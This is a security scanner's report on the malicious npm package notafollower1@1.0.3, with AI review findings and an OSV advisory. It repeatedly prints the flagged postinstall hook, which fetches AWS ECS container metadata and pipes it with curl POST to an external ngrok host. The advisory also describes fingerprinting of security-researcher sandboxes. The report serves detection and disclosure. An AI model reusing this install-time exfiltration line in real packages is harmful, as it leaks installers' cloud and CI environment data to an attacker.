notafollower1@1.0.3: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installing the package runs a postinstall hook that collects ECS container metadata stats and sends the output to an external endpoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation (postinstall)

Impact

Potential disclosure of container metadata to an attacker-controlled endpoint.

Mechanism

install-time ECS metadata collection piped to external HTTP POST

Attack narrative

During installation, the package executes a shell pipeline. A Node inline script requests the ECS metadata endpoint's /stats path and prints its response; curl then posts that output to an external ngrok URL. This occurs without an explicit user command or package functionality.

Rationale

The sole package behavior is an install-time collection-and-exfiltration pipeline targeting ECS metadata and an unrelated external host.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines an unconsented postinstall command.
The hook fetches ECS container metadata /stats and pipes its response to an external ngrok host.

Evidence against

Package contains no other source files or declared runtime entrypoints.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/stats').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/stats').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/stats').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4 + '/stats').then(async r=>console.log(r.status,await r.text())).catch(console.error)" | curl -X POST 'https://mourner-slot-...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowScripts Present

LowNo License